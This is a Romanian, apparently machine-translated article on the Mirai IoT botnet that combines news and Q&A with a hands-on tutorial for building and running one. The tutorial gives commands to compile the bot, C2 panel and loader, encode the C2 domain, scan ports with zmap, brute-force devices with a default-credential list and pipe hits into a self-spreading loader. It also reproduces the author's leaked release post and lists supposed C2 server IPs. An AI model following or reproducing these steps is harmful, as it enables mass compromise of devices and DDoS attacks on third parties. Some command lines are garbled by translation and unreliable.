Codul sursă Mirai. Instalarea și configurarea botnet-ului Mirai. Principiul de funcționare al Mirai

În esență, Mirai funcționează simplu: scanează Internetul căutând dispozitive IoT accesibile prin telnet care sunt vulnerabile la forța brută și la hacking. Malware-ul atacă în primul rând camerele de supraveghere, DVR-urile și routerele, iar apoi continuă să se înmulțească ca un vierme.

Din atacurile DDoS efectuate recent de această botnet și cea mai mare din Europa. Puterea de atac de vârf a atins 620 Gbit/s și mai mult de 1 Tb/s. Pentru a obține astfel de rezultate, atacatorii au folosit UDP, DNS și HTTP flooding, precum și pachete GRE (Generic Routing Encapsulation), pe care experții le-au recunoscut ca fiind foarte neobișnuite.

Concluziile specialiștilor MalwareTech coincid în general cu aceste observații. Deci, pe o perioadă de douăsprezece ore, cercetătorii au înregistrat aproximativ 72.000 de adrese IP unice și 4.000 de IP-uri noi au apărut în fiecare oră. Din aceasta, analiștii au concluzionat că dimensiunea rețelei bot este foarte modestă - doar aproximativ 120.000 de dispozitive pe zi. Și deși botnet-ul este mult mai mare și cifrele sunt de 1-1,5 milioane de roboți, nici cercetătorii MalwareTech, nici specialiștii Akamai nu sunt de acord cu acest lucru.

„Mirai, care anterior a fost ignorat în mare măsură din cauza simplității atacurilor telnet, a devenit un subiect major de discuție în mass-media din întreaga lume săptămâna trecută, agențiile de aplicare a legii lansând investigații, cu sprijinul multor companii internaționale”, scriu cercetătorii. . „Este probabil ca atacurile puternice DDoS să devină acum o practică mai comună, pe măsură ce hackerii găsesc dispozitive IoT din ce în ce mai vulnerabile sau încep să infecteze dispozitivele protejate prin NAT. Este cu siguranță timpul ca producătorii să nu mai lanseze dispozitive cu parole globale în mod implicit și să treacă la eliberarea dispozitivelor cu parole generate aleatoriu în partea de jos a carcasei.”

Pe lângă raport, cercetătorii MalwareTech au inclus un videoclip care arată o hartă a infecțiilor Mirai (vezi mai jos). Tot pe site-ul cercetătorilor puteți găsi o hartă interactivă a rețelei bot, care este actualizată în timp real.

Vom avea nevoie de două servere VPS KVM și un domeniu. Virtualizarea este KVM, OpenVZ lipsește de data aceasta.

Duc serverele aici -

Vom instala rețeaua botnet în sine pe un server și vom scana roboții pe al doilea. (brutal)

IMPORTANT. Serverele trebuie să fie bazate pe Debian 8 și să aibă cel puțin 1 GB de RAM.

Orice domeniu, nu contează.

Îmi pare rău, desigur, dar nu vă voi spune cum să atașați un domeniu la un VPS. Nu este greu, îți vei da seama singur.

Chit si sa incepem.

# apt-get update -y

# apt-get upgrade -y

# apt-get install unzip gcc golang electric-fence screen sudo git -y

# apt-get install mysql-server -y

# apt-get install mysql-client -y

# apt-get install apache2 -y

Când instalați MySQL, va trebui să creați o parolă pentru a accesa MySQL pentru utilizatorul root. Veți veni cu o parolă normală, fără niciun „qwerty”

Notează-l undeva, vom avea nevoie din nou de el.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#bash< <(curl -s -S -L

Trebuie să fiți înregistrat pentru a vedea link-urile.

)

# gvm install go1.4

# gvm folosește go1.4 [--default]

# gvm install go1.4 -B

# gvm folosește go1.4

# export GOROOT_BOOTSTRAP=$GOROOT

# gvm install go1.5

# gvm folosește go1.5

# gvm install go1.8

# gvm folosește go1.8

După instalarea tuturor utilităților, descărcați sursele bot -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Și încărcați-l pe server. Echipă wget, sau pur și simplu prin program WinSCP.

# dezarhivați Mirai-Source-Code-master.zip

# cd Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

# ./enc șir ******(noi scriem domeniul, care este atașat serverului) și apăsăm Enter.

Aici veți vedea următorul text -

XOR"ing 14 octeți de date...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - aici veți avea un alt număr, așa că nu vă faceți griji, totul este corect.

Copiem tot acest text.

Deschideți prin nano editor sau prin WinSCP fişier masa.c care se află în dosar mirai/bot

Trebuie să văd asta -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Linia add_entry(TABLE_CNC_DOMAIN- schimbați totul între ghilimele în textul pe care tocmai l-ați copiat. În loc de " 30 " Ne scriem numărul, pe care tocmai l-am copiat. Facem același lucru cu linia add_entry(TABLE_SCAN_CB_DOMAIN

Salvați și închideți editorul.

Deschideți fișierul cu un editor mirai/cnc/main.go

Vedem asta -

Trebuie să fiți înregistrat pentru a vedea link-urile.

"127.0.0.1" schimba in "127.0.0.1:3306"

"parola" Schimbăm parola pe care am introdus-o mai devreme în MySQL. "

Salvați fișierul și închideți editorul.

Doar copiați toate prostiile astea, nu vă spun de ce este nevoie -

# mkdir /etc/xcompile

# cd /etc/xcompile

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

#wget

Trebuie să fiți înregistrat pentru a vedea link-urile.

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

#mv cross-compiler-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compiler-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# export PATH=$PATH:/etc/xcompile/armv4l/bin

# export PATH=$PATH:/etc/xcompile/i586/bin

# export PATH=$PATH:/etc/xcompile/m68k/bin

# export PATH=$PATH:/etc/xcompile/mips/bin

# export PATH=$PATH:/etc/xcompile/mipsel/bin

# export PATH=$PATH:/etc/xcompile/powerpc/bin

# export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# export PATH=$PATH:/etc/xcompile/sh4/bin

# export PATH=$PATH:/etc/xcompile/sparc/bin

# export PATH=$PATH:/etc/xcompile/armv6l/bin

# export PATH=$PATH:/usr/local/go/bin

# export GOPATH=$HOME/Documente/go

# du-te la github.com/go-sql-driver/mysql

# du-te la github.com/mattn/go-shellwords

# cd Mirai-Source-Code-master/mirai

# ./build.sh depanare telnet

# ./build.sh lansează telnet

# mv mirai* /var/www/html

# cd /var/www/html

#mkdirbins

#mv*bins/

Acum MySQL.

# mysql -u root -p

Aici vi se va cere o parolă. Introduceți parola pe care ați setat-o ​​anterior.

# create database mirai;

# folosește mirai

Acum copiați tot textul de aici -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Lipiți-l și apăsați Enter.

Copiați textul de aici -

Trebuie să fiți înregistrat pentru a vedea link-urile.

În loc de anna-senpai scrieți-vă autentificarea. Orice. La fel și cu myawesomepassword. Vom avea nevoie de aceste date pentru a accesa panoul de control al botului.

Ar trebui să fie așa - INSERT INTO users VALUES (NULL, "pizdec", "zaebalsjapisatj", 0, 0, 0, 0, -1, 1, 30, "");

Copiați, lipiți, apăsați Enter.

Acum poți să ieși.

E aproape gata.

# cd Mirai-Source-Code-master/mirai/release

# atinge prompt.txt

# ecran ./cnc

Trebuie să vezi inscripția S-a deschis DB MySQL

Nu închidem această sesiune, deschidem una nouă.

Trebuie să fiți înregistrat pentru a vedea link-urile.

În loc de *******, scrieți-vă domeniul și faceți clic pe Deschidere.

Introduceți numele dvs. de utilizator și parola, în cazul meu este -

zaebalsjapisatj

Gata, suntem în panoul de control al botului.

Acum avem nevoie de roboți. Totul este simplu aici, nu este nevoie de instalații.

Să configuram încărcătorul.

Loader este necesar, astfel încât roboții să poată fi adăugați din fișiere text. Să presupunem că am creat o grămadă de dispozitive (routere, camere, telefoane) și pentru a le adăuga la bot, avem nevoie de un încărcător.

De asemenea, încărcătorul este un „vierme”

Conectați-vă la serverul nostru prin PuTTY și WinSCP.

Folosind WinSCP găsim fișierul principal.cîn dosar Mirai-Source-Code-master/dlr

Scriem IP-ul serverului nostru ca în captura de ecran -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Lăsăm virgulele, așa ar trebui să fie. Salveaza si inchide.

Acum cu PyTTY du-te la serverul nostru și scrie -

# cd Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

# lansare cd

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

Acum să deschidem WinSCPși găsiți fișierul principal.cîn dosar Mirai-Cod-sursă-master/loader/src

Îl schimbăm pe IP-ul nostru ca în captura de ecran -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Salveaza si inchide.

Prin Chit -

# ./build.sh

Prin utilizarea WinSCP deschide fișierul scanAscultă.go care poate fi găsit în folder Mirai-Source-Code-master/mirai/tools

Schimbați IP-ul serverului dvs. -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Apoi cu PyTTY -

# cd Mirai-Source-Code-master/mirai/tools

# du-te să construiești scanListen.go

Acum avem un nou fișier - scanAscultă(fără .merge, Doar scanAscultă)

scanAscultă trebuie mutat într-un folder Mirai-Source-Code-master/loader

Doar cu ajutor WinSCP pune-l într-un folder încărcător

Acum să verificăm dacă totul funcționează

# ./încărcător

Dacă vedeți ce este pe ecran, atunci totul este corect -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Dacă apar erori, scrieți la subiect, vă voi ajuta.

Pentru a descărca boți din listă, aruncați fișierul text în dosar încărcătorși tastați comanda -

# cat list.txt | ./încărcător

Asta e, toți roboții pe care i-ai recrutat vor fi alături de tine, vor bloca site-urile la comanda ta.

Eu personal nu am folosit această metodă, am găsit o modalitate mai ușoară.

Aici avem nevoie de un al doilea server. De asemenea, pe Debian 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get install python-paramiko -y

# apt-get install zmap -y

zmap avem nevoie de el pentru scanarea portului. Principiul de funcționare este același ca KPortScan, doar de 50 de ori mai rapid.

Copiați tot codul de aici -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Și salvează ca scan.py

Aici vă puteți adăuga parolele și datele de conectare -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Şir combo nu atinge!

Aici trebuie să înregistrați IP-ul serverului pe care se află botul -

Trebuie să fiți înregistrat pentru a vedea link-urile.

Schimbăm totul și îl salvăm.

Aruncăm fișierul scan.py oriunde pe serverul nostru. Pe al doilea server, care este doar pentru scanare, cel pe care nu atingem botul.

Avem nevoie de IP-uri pe care le vom scana.

#zmap -p22 -o list.txt -B 100M(puteți scana alte porturi, eu am scanat întotdeauna 22 sau 23)

Toate rezultatele vor fi în dosar list.txt

După colectarea fișierului IP (cu cât mai mult, cu atât mai bine). list.txt aruncă-l lângă dosar scan.py si scrie -

# python scan.py list.txt 500

Gata, stăm și urmărim cum crește botnetul nostru.

Când există cel puțin 200 de roboți, puteți lansa încărcătorul.

Pentru a face acest lucru, mergeți la serverul pe care este instalată rețeaua botnet și -

# cd Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanAscultă | ./încărcător

Acum botul va funcționa ca un „vierme” și va termina mai mulți roboți.

Săptămâna trecută, codul sursă pentru componentele rețelei botne Mirai, folosite în atacuri DDoS record cu o capacitate de până la 1 Tb/s, s-a scurs online.

Artă. 273 din Codul penal al Federației Ruse. Crearea, utilizarea și distribuirea de programe de calculator rău intenționate

1. Crearea, distribuirea sau utilizarea programelor de calculator sau a altor informații informatice, destinate cu bună știință la distrugerea, blocarea, modificarea, copierea informațiilor informatice sau neutralizarea mijloacelor de protecție a informațiilor informatice, -

se pedepsește cu restrângerea libertății pe un termen de până la patru ani sau cu muncă forțată pe un termen de până la patru ani sau cu închisoare pentru același termen cu amendă în valoare de până la două sute de mii de ruble sau în cuantumul salariului sau al altor venituri ale persoanei condamnate pe o perioadă de până la optsprezece luni.

2. Faptele prevăzute în prima parte a prezentului articol, săvârșite de un grup de persoane prin conspirație anterioară sau de un grup organizat ori de către o persoană care își folosește funcția oficială, precum și cele care au cauzat prejudicii majore sau au fost săvârșite din interes egoist. , -

se pedepsește cu restrângerea libertății pe un termen de până la patru ani, sau cu muncă forțată pe un termen de până la cinci ani cu privarea de dreptul de a ocupa anumite funcții sau de a exercita anumite activități pe un termen de până la trei ani sau fără ea sau pedeapsa cu închisoarea de până la cinci ani cu amendă de la o sută de mii la două sute de mii de ruble sau în cuantumul salariului sau al altor venituri ale persoanei condamnate pe o perioadă de doi până la trei ani sau fără aceasta și cu sau fără privarea de dreptul de a ocupa anumite funcții sau de a se angaja în anumite activități pe o perioadă de până la trei ani.

3. Actele prevăzute în părțile unu sau două ale prezentului articol, dacă au implicat consecințe grave sau au creat o amenințare cu apariția lor, -

se pedepseşte cu închisoare de până la şapte ani.

Acest botnet este format în principal din camere, dispozitive DVR etc.

Infecția are loc destul de simplu: Internetul este scanat pentru porturi deschise 80/23 (web/telnet) și sunt selectate conturi codificate.

Puțini utilizatori își schimbă parolele conturilor încorporate (dacă este posibil), astfel încât rețeaua botnet este în mod constant alimentată cu dispozitive noi. Dacă puteți schimba parola pentru interfața web în timp ce sunteți în ea, atunci parola și prezența accesului telnet pur și simplu eludează mulți utilizatori.

Cele mai utilizate conturi sunt:

activare:sistem
shell:sh
admin:admin
rădăcină:xc3511
rădăcină:vizxv
root:admin
root:xmhdipc
rădăcină: 123456
rădăcină: 888888
suport: suport
rădăcină: 54321
rădăcină: juantech
rădăcină:anko
rădăcină: 12345
admin:
root:implicit
parola administratorului
rădăcină:rădăcină
rădăcină:
utilizator:utilizator
admin:smcadmin
root:pass
admin:admin1234
rădăcină: 1111
invitat:12345
rădăcină: 1234
rădăcină:parolă
rădăcină: 666666
admin:1111
serviciu:serviciu
rădăcină:sistem
supraveghetor:supervizor
rădăcină: klv1234
administrator:1234
rădăcină:ikwb
rădăcină: Zte521

După obținerea accesului, centrul de comandă primește o notificare binară despre prezența unui nou bot:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (adresa gazdei a fost aici)
05 = Tab
17 = 23 (Port 23 Telnet)
05 = Tab
61 64 6d 69 6e = nume utilizator:admin admin
05= Tab
61 64 6d 69 6e = parola utilizator: admin

Componentele rețelelor botnet sunt proiectate să funcționeze în diferite medii, așa cum demonstrează eșantioanele identificate:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

Serverele de comandă se află în prezent la următoarele adrese:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

Instrucțiunile pentru crearea unui botnet sunt destul de simple, iată ca atare (sursa http://pastebin.com/E90i6yBB):

Bună ziua tuturor,

Când am intrat pentru prima dată în industria DDoS, nu plănuiam să rămân mult timp în ea. Mi-am făcut banii, sunt mulți ochi care se uită la IOT acum, așa că este timpul să GTFO. Cu toate acestea, știu fiecare derapaj și mama lor, este visul lor umed să aibă ceva în afară de qbot.

Așa că astăzi, am o lansare uimitoare pentru tine. Cu Mirai, de obicei scot maxim 380.000 de roboți numai din telnet. Cu toate acestea, după DDoS Kreb, ISP-urile se închideau încet și își curățau activitatea. Astăzi, tracțiunea maximă este de aproximativ 300.000 de boți și scade.

Deci, eu sunt senpai-ul tău și te voi trata foarte frumos, hf-chan al meu.

Și tuturor celor care au crezut că fac orice lovind CNC-ul meu, am râs bine, acest bot folosește domeniul pentru CNC. Durează 60 de secunde pentru ca toți roboții să se reconnecteze, lol

De asemenea, strigă la această postare pe blog de malwaremustdie
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
Am avut mult respect pentru tine, am crezut că ești un bun inversor, dar ai eșuat complet și total în a inversa acest binar. „Încă avem kung fu mai bun decât voi, copii” nu mă faceți să râd, ați făcut atâtea greșeli și chiar ați confundat diferite binare cu ale mele. LAUGH OUT LOUD

Lasă-mă să-ți dau niște palme înapoi...
1) portul 48101 nu este pentru conexiunea înapoi, este pentru control pentru a preveni mai multe instanțe de bot care rulează împreună
2) /dev/watchdog și /dev/misc nu sunt pentru „a face întârzierea”, ci pentru a preveni blocarea sistemului. Acesta este un fruct de jos, atât de trist încât ești extrem de prost
3) Ai eșuat și ai crezut că FAKE_CNC_ADDR și FAKE_CNC_PORT sunt CNC adevărate, lol „Și fac ușa din spate pentru a te conecta prin HTTP pe 65.222.202.53.” te-ai împiedicat de fluxul de semnal ;) încearcă mai mult skiddo
4) Instrumentul tău schelet este nasol, credea că decodorul de atac este „stil sinden”, dar nici măcar nu folosește un protocol bazat pe text? CNC și bot comunică prin protocol binar
5) spui „chroot(“/”) atât de previzibil ca torlus, dar nu înțelegi, alții ucid pe baza cwd. Arată cât de ieșit din circuit sunteți cu malware real. Întoarce-te în teren de derapaj

De ce scrieți instrumente de inginerie inversă? Nici măcar nu poți inversa corect în primul rând. Vă rugăm să învățați mai întâi unele abilități înainte de a încerca să-i impresionați pe alții. Aroganța ta de a declara cum „m-ai bătut” cu declarația ta proastă de kung-fu m-a făcut să râd atât de tare în timp ce mănânc că a trebuit să mă bată pe spate.

Așa cum voi fi pentru totdeauna liber, și tu vei fi condamnat la mediocrație pentru totdeauna.

Cerințe
2 servere: 1 pentru CNC + mysql, 1 pentru receptor de scanare și 1+ pentru încărcare

Cerințe OP
2 VPS și 4 servere
— 1 VPS cu gazdă extrem de rezistentă la glonț pentru serverul de baze de date
— 1 VPS, rootkit, pentru scanReceiver și distribuitor
— 1 server pentru CNC (utilizat ca 2% CPU cu 400k boți)
— 3x servere NForce de 10 gbps pentru încărcare (distribuitorul distribuie la 3 servere în mod egal)

— Pentru a stabili conexiunea la CNC, boții rezolvă un domeniu (resolv.c/resolv.h) și se conectează la acea adresă IP
— Bots brute telnet care utilizează un scaner SYN avansat, care este de aproximativ 80 de ori mai rapid decât cel din qbot și utilizează aproape de 20 de ori mai puține resurse. Când găsește un rezultat brut, botul rezolvă un alt domeniu și îl raportează. Acesta este legat la un server separat pentru a se încărca automat pe dispozitive pe măsură ce apar rezultatele.
— Rezultatele brute sunt trimise implicit pe portul 48101. Utilitarul numit scanListen.go în instrumente este folosit pentru a primi rezultate brute (obțineam aproximativ 500 de rezultate brute pe secundă la vârf). Dacă construiți în modul de depanare, ar trebui să vedeți utilitarul scanListen binar care apare în folderul de depanare.

Mirai folosește un mecanism de răspândire similar cu auto-repetiția, dar ceea ce eu numesc „încărcare în timp real”. Practic, rezultatele brute ale botilor le trimit la un server care ascultă cu utilitarul scanListen, care trimite rezultatele la încărcător. Această buclă (brute -> scanListen -> load -> brute) este cunoscută ca încărcare în timp real.

Încărcătorul poate fi configurat să utilizeze mai multe adrese IP pentru a evita epuizarea portului în Linux (există un număr limitat de porturi disponibile, ceea ce înseamnă că nu există suficientă variație în tuplu pentru a obține mai mult de 65k conexiuni de ieșire simultane - în teorie, acest lot de valoare Mai puțin). Aș avea poate 60k - 70k conexiuni de ieșire simultane (încărcare simultană) răspândite pe 5 IP-uri.
Botul are mai multe opțiuni de configurare care sunt ascunse în (table.c/table.h). În ./mirai/bot/table.h puteți găsiți cele mai multe descrieri pentru opțiunile de configurare. Cu toate acestea, în ./mirai/bot/table.c există câteva opțiuni pe care *trebuie* să le modificați pentru a funcționa.

— TABLE_CNC_DOMAIN — Numele de domeniu al CNC la care să te conectezi — Evitarea DDoS este foarte distractiv cu mirai, oamenii încearcă să-mi lovească CNC-ul, dar îl actualizez mai repede decât pot găsi IP-uri noi, lol. intarziati :)
— TABLE_CNC_PORT — Port la care să te conectezi, este deja setat la 23
— TABLE_SCAN_CB_DOMAIN — Când găsiți rezultate brute, acest domeniu este raportat
— TABLE_SCAN_CB_PORT — Port la care se conectează pentru rezultate brute, este deja setat la 48101.

În ./mirai/tools veți găsi ceva numit enc.c — Trebuie să compilați acest lucru pentru a scoate lucrurile pe care să le puneți în fișierul table.c

Rulați în acest director mirai

./build.sh depanare telnet

Dacă nu le-ați configurat, veți primi câteva erori legate de faptul că nu există compilatoare încrucișate. Acest lucru este ok, nu va afecta compilarea instrumentului enc

Acum, în folderul ./mirai/debug, ar trebui să vedeți un binar compilat numit enc. De exemplu, pentru a obține un șir ofuscat pentru numele de domeniu la care roboții să se conecteze, utilizați acest lucru:

./debug/enc string fuck.the.police.com
Ieșirea ar trebui să arate așa

XOR se fac 20 de octeți de date...
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
Pentru a actualiza valoarea TABLE_CNC_DOMAIN, de exemplu, înlocuiți acel șir lung hex cu cel furnizat de instrumentul enc. De asemenea, vedeți „XOR’ing 20 bytes of data”. Această valoare trebuie să înlocuiască și ultimul argument. Deci, de exemplu, linia table.c arată inițial așa
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); //cnc.changeme.com
Acum că știm valoarea din instrumentul enc, o actualizăm astfel

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22″); //fuck.the.police.com
Unele valori sunt șiruri de caractere, altele sunt port (uint16 în ordinea rețelei / big endian).
CONFIGURAȚI CNC-UL:
apt-get install mysql-server mysql-client

CNC necesită o bază de date pentru a funcționa. Când instalați baza de date, intrați în ea și executați următoarele comenzi:
http://pastebin.com/86d0iL9g

Aceasta va crea o bază de date pentru dvs. Pentru a adăuga utilizatorul dvs.,

INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, ");
Acum, accesați fișierul ./mirai/cnc/main.go

Editați aceste valori
const DatabaseAddr șir = "127.0.0.1"
const DatabaseUser șir = „rădăcină”
const DatabasePass șir = „parolă”
const DatabaseTable string = "mirai"
La informațiile pentru server mysql tocmai ai instalat

Compilatoarele încrucișate sunt ușoare, urmați instrucțiunile de la acest link pentru a le configura. Trebuie să reporniți sistemul sau să reîncărcați fișierul .bashrc pentru ca aceste modificări să aibă efect.

http://pastebin.com/1rRCc3aD
CNC, bot și instrumente aferente:
http://dopefile.pk/a9f2n9ewk8om
Cum se construiește bot + CNC
În folderul Mirai, există scriptul build.sh.
./build.sh depanare telnet

Va scoate fișierele binare de depanare ale botului care nu vor daemoniza și vor tipări informații despre dacă se poate conecta la CNC, etc., starea inundațiilor etc. Compilează în folderul ./mirai/debug
./build.sh lansează telnet

Va scoate fișiere binare gata de producție ale botului, care sunt extrem de reduse, mici (aproximativ 60K) care ar trebui să fie încărcate pe dispozitive. Compilează toate binarele în format: „mirai.$ARCH” în folderul ./mirai/release

Loader citește intrările telnet din STDIN în următorul format:
ip:port user:pass
Detectează dacă există wget sau tftp și încearcă să descarce binarul folosind asta. Dacă nu, va încărca un binar mic (aproximativ 1 kb) care va fi suficient ca wget.
./build.sh

Se va construi încărcătorul, optimizat, utilizare în producție, fără tam-tam. Dacă aveți un fișier în formatele utilizate pentru încărcare, puteți face acest lucru
fișier pisică.txt | ./încărcător
Amintiți-vă să limitați!

Ca să fie clar, nu ofer niciun fel de tutoriale de ajutor 1 la 1 sau rahat, prea mult timp. Toate scripturile și totul sunt incluse pentru a configura botnetul funcțional în mai puțin de 1 oră. Sunt dispus să vă ajut dacă aveți întrebări individuale (cum de CNC nu se conectează la baza de date, am făcut asta bla bla), dar nu întrebări precum „Botul meu nu se conectează, rezolvă-l”

Acesta este troianul despre care toată lumea a scris în ultimele săptămâni. Printre cele mai impresionante realizări ale botnet-urilor create cu ajutorul acestuia se numără o capacitate de peste un terabit și într-o mică țară africană.

Câte computere a înrobit pentru asta?

Deloc. Sau cel puțin foarte puțin. Dispozitivele țintă ale lui Mirai nu sunt computere deloc, ci dispozitive IoT - videorecordere, camere, prăjitoare de pâine... Conform statisticilor de la Level 3 Communications, până la sfârșitul lunii octombrie, aproximativ jumătate de milion de dispozitive erau deja sub controlul troianului.

Și ce, poate lua orice cameră cu frigidere?

Nu chiar. Mirai este conceput pentru dispozitivele care rulează Busybox - un set simplificat de utilitare UNIX Linie de comanda, care este folosit ca interfață principală în embedded sisteme de operare. Troianul atacă doar anumite platforme, cum ar fi ARM, ARM7, MIPS, PPC, SH4, SPARC și x86. Sunt în pericol doar dispozitivele cu setări din fabrică sau cu protecție foarte slabă - infecția are loc prin intermediul unui atac de forță brută asupra portului Telnet, pentru care este utilizată lista implicită de acreditări de administrator.

Este cumva ineficient să cauți pe întregul Internet camere fără parole - nu-i așa?

Dar nu au ghicit bine. Un jurnalist de la The Atlantic a închiriat un server și a scris un program care se preface a fi un prăjitor de pâine. Primul atac asupra unui „aparat electrocasnic” a avut loc după 40 de minute! În următoarele 11 ore, prăjitorul a fost spart de peste 300 de ori. Cert este că botnet-urile au atins dimensiuni fără precedent, iar spațiul de adrese IPv4 pentru ele este foarte mic. Mai mult, merită să ne amintim că hackerii nu caută manual dispozitive vulnerabile - acest lucru este făcut de membrii rețelei bot. Și, deoarece fiecare „angajat” nou convertit începe, de asemenea, să caute victime, botnet-ul crește exponențial.

Geometric? Deci, într-un an, rețelele bot vor conține trilioane de dispozitive?!

Desigur că nu 😀 Cert este că numărul de dispozitive IoT este finit. Și aceasta este deja o problemă destul de presantă. Autorul cărții Mirai admite că numărul maxim de dispozitive din rețeaua sa a fost de 380 de mii, iar după mai multe atacuri, când utilizatorii și furnizorii au început să ia măsuri de protecție, numărul de dispozitive a scăzut la 300 de mii și continuă să scadă.

După ce codul sursă al Mirai a fost făcut disponibil public, mulți și mulți hackeri au început să-l folosească. În prezent, numărul de botnet-uri mari bazate pe acest troian este de aproximativ 52. Merită clarificat faptul că fiecare dispozitiv poate aparține unei singure rețele - imediat după capturarea unui dispozitiv, malware-ul îl protejează de reinfectare. Singurul caz în care un dispozitiv poate fi transferat unui alt „proprietar” este atunci când dispozitivul este repornit. Potrivit experților, după o repornire, dispozitivul va fi infectat din nou în 30 de secunde.

Deci eficiența Mirai este în scădere?

Da. Hackerii sunt forțați să lupte pentru o cantitate limitată de resurse, care este în scădere (din cauza precauțiilor) mai degrabă decât în ​​creștere. Situația se complică și mai mult de faptul că hackerii sunt extrem de egoiști – de exemplu, după ce un server major de comandă și control (C&C) al rețelei botnet a fost pur și simplu oprit – acum botnetul s-a dovedit a fi inutil și invulnerabil la noile atacuri. Fiecare rețea nouă bazat pe Mirai va fi mai mic decât cele anterioare și va putea efectua doar atacuri cu putere redusă. De exemplu, în timpul alegerilor din SUA, au fost efectuate atacuri slabe pe site-urile Clinton și Trump. Nu au provocat nicio pagubă și nimeni nu le-a observat deloc (cu excepția companiei care monitorizează în mod specific acțiunile acestui troian).

Este clar. Ce alte informații interesante se cunosc despre acest troian?

Este succesorul altui troian, care este cunoscut sub numele de Gafgyt, Lizkebab, BASHLITE, Bash0day, Bashdoor și Torlus. Acesta din urmă este cunoscut pentru că poate subjuga aproximativ un milion de camere web, conform aceluiași Nivel 3 de Comunicații. De asemenea, se știe că majoritatea botnet-urilor nu folosesc o copie pură a Mirai, ci versiuni proprii, modificate (ceea ce este destul de așteptat).

O alta fapt interesant este că utilizatorii RuNet l-au găsit în cod sursa Mirai Russian trace - în fișierul cnc/admin.go există o ieșire de comentarii în rusă:

cnc/admin.go: this.conn.Write(byte(“\033))

Pe de altă parte, pare mai degrabă o glumă - „verificarea conturilor...” este o copie evidentă (traducere automată?) a „verificarea conturilor”.

Luna trecută au avut loc atacuri pe site-uri mari precum Stare de nervozitate sau Spotify, care le-a dezactivat temporar. Pentru aceasta a fost folosită o rețea botnet Mirai, unind 400-500 de mii de dispozitive Internet of Things. Acum, jurnaliștii Motherboard au aflat că doi hackeri au reușit să preia controlul asupra rețelei bot și să creeze o nouă versiune a acesteia - aceasta unește deja un milion de dispozitive. Abonații furnizorului german au experimentat puterea acestuia Deutsche Telekom, a cărui rețea a fost oprită weekendul trecut.

La vânătoare pentru Mirai

Jurnaliștii au reușit să vorbească cu unul dintre acești doi hackeri misterioși - el folosește porecla BestBuy. Într-un chat online criptat, el le-a spus că există o adevărată luptă între hackeri pentru controlul Mirai. O vulnerabilitate a fost descoperită recent în software-ul său. Utilizarea sa, împreună cu viteza sa, ar putea permite BestBuy și partenerului său Popopret să preia controlul asupra majorității rețelei bot și să-i adauge noi dispozitive.

Anterior, experții noștri au studiat codul rețelei botne Mirai - s-a dovedit că nu a fost creat special pentru dispozitivele Internet of Things. Software-ul rău intenționat caută dispozitive conectate la rețea cu date de conectare și parole implicite (admin:admin, root:parolă etc.). Aceasta înseamnă că, teoretic, poate include orice dispozitiv, inclusiv computere de acasă și servere sau routere.

